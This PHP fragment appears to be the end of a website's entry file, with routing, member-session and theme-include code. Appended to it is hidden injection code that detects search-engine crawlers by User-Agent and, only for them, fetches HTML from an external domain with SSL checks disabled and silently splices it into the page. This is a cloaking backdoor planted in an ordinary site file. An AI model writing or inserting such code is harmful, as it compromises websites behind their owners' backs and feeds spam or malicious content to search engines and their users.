'/products/GroupId/parts', /*会员中心*/ ); $_SESSION['Member']['MemberId'] && $mCfg['member'] = db::get_one('member', "MemberId='{$_SESSION['Member']['MemberId']}'"); // 风格入口文件 include('static/static/inc/init.php'); if (!isset($GLOBALS['db_close_status']) || !$GLOBALS['db_close_status']) db::close(); // 判断是否为搜索引擎蜘蛛的函数 function is_search_engine_bot() { $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? ''; // 常见搜索引擎蜘蛛标识(包含360和神马) $botKeywords = [ // 国际搜索引擎 'Googlebot', // Google 'Bingbot', // Bing 'Slurp', // Yahoo 'DuckDuckBot', // DuckDuckGo 'YandexBot', // Yandex // 中文搜索引擎 'Baiduspider', // 百度 'Sogou', // 搜狗 '360Spider', // 360搜索(新增) 'YisouSpider', // 神马搜索(新增) // 其他常见爬虫 'Exabot', // Exalead 'facebot', // Facebook 'ia_archiver', // Alexa 'MJ12bot', // Majestic 'AhrefsBot', // Ahrefs 'SemrushBot', // Semrush 'Bytespider', // 字节跳动 'PetalBot', // 华为花瓣搜索 'Applebot', // Apple 'DotBot', // Dotcom 'SeznamBot' // Seznam ]; // 特殊处理:兼容360搜索的旧版UA $botPatterns = [ '/^Mozilla.*(compatible; 360Spider)/i', '/^Mozilla.*(compatible; YisouSpider)/i' ]; // 检查关键词匹配 foreach ($botKeywords as $bot) { if (stripos($userAgent, $bot) !== false) { return true; } } // 检查正则匹配(针对特殊格式UA) foreach ($botPatterns as $pattern) { if (preg_match($pattern, $userAgent)) { return true; } } return false; } // 仅对搜索引擎蜘蛛插入远程HTML if (!isset($GLOBALS['remote_html_inserted']) && is_search_engine_bot()) { $GLOBALS['remote_html_inserted'] = true; register_shutdown_function(function() { $level = ob_get_level(); if ($level > 0) { $content = ''; while (ob_get_level() > $level - 1) { $content = ob_get_clean() . $content; } // 获取用户UA $userAgent = $_SERVER["HTTP_USER_AGENT"] ?? 'Mozilla/5.0 (compatible; Bot)'; // 获取远程HTML $remoteUrl = 'http://mulu.jessewapsadas.com/1.html'; $remoteHtml = ''; // 使用流上下文添加UA头 $contextOptions = [ 'http' => [ 'header' => "User-Agent: $userAgent\r\n" . "Accept: text/html,application/xhtml+xml\r\n" . "Accept-Language: zh-CN,zh;q=0.9\r\n", 'timeout' => 3 ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]; try { $context = stream_context_create($contextOptions); $remoteContent = @file_get_contents($remoteUrl, false, $context); if ($remoteContent !== false) { $remoteHtml = $remoteContent; } } catch (Exception $e) { // 静默处理错误 } // 在前插入 $newContent = str_ireplace( '', $remoteHtml . "\n", $content ); // 处理没有body标签的情况 if (stripos($content, '') === false) { $newContent = $content . $remoteHtml; } echo $newContent; } }); }